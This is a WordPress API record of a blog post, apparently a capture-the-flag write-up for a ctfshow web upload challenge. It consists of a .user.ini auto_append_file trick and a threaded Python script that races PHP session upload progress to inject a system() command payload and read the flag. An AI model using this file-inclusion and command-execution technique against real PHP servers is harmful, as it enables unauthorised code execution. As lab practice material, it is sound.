{"id":41,"date":"2026-05-21T13:55:57","date_gmt":"2026-05-21T05:55:57","guid":{"rendered":"http:\/\/tangjin.xyz\/?p=41"},"modified":"2026-05-21T13:58:16","modified_gmt":"2026-05-21T05:58:16","slug":"ctfshow_web%e5%85%a5%e9%97%a8162","status":"publish","type":"post","link":"http:\/\/tangjin.xyz\/index.php\/2026\/05\/21\/ctfshow_web%e5%85%a5%e9%97%a8162\/","title":{"rendered":"ctfshow_web\u5165\u95e8162"},"content":{"rendered":"\n

\u4f20\u5165.user.ini
\u5185\u5bb9\uff1aGIF89a auto_append_file=\/tmp\/sess_zho<\/p>\n\n\n\n

<\/p>\n\n\n\n

<\/p>\n\n\n\n

<\/p>\n\n\n\n

<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

import re<\/code>
import requests<\/code>
import threading<\/code>
import urllib3<\/code>
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<\/code><\/p>\n\n\n\n

url1=\"https:\/\/ba75f5ef-6391-4662-ad6f-e75ef59534f8.challenge.ctf.show\/\"<\/code>
url2=\"https:\/\/ba75f5ef-6391-4662-ad6f-e75ef59534f8.challenge.ctf.show\/upload\"<\/code>
se=requests.Session()<\/code>
file={<\/code>
'file':'111'<\/code><\/p>\n\n\n\n

}<\/code>
date = {<\/code>
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system(\"tac ..\/f*\");?>' # \u4f7f\u7528system\u51fd\u6570\u6267\u884c\u547d\u4ee4<\/code>
}<\/code>
sess='zho'<\/code>
cookie={<\/code>
'PHPSESSID': 'zho'<\/code>
}<\/code>
def upload_file():<\/code>
while True:<\/code>
se.post(url1,data=date,cookies=cookie,files=file,verify=False)<\/code><\/p>\n\n\n\n

def check_flag():<\/code>
while True:<\/code>
text=se.get(url2,verify=False)<\/code>
if 'flag'in text.text:<\/code>
flag = re.search(r'ctfshow{.+}', text.text)<\/code>
print(flag)<\/code><\/p>\n\n\n\n

threads = [<\/code>
threading.Thread(target=upload_file),<\/code>
threading.Thread(target=check_flag)<\/code>
]<\/code>
for t in threads:<\/code>
t.start()<\/code><\/p>\n\n\n\n

\u6267\u884c\u4ee3\u7801\u5373\u53ef<\/p>\n","protected":false},"excerpt":{"rendered":"

\u4f20\u5165.user.ini\u5185\u5bb9\uff1aGIF89a auto_append_file=\/tmp\/sess_zho imp […]<\/p>\n","protected":false},"author":1,"featured_media":31,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-41","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf-wp"],"_links":{"self":[{"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/posts\/41","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/comments?post=41"}],"version-history":[{"count":3,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/posts\/41\/revisions"}],"predecessor-version":[{"id":46,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/posts\/41\/revisions\/46"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/media\/31"}],"wp:attachment":[{"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/media?parent=41"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/categories?post=41"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/tags?post=41"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}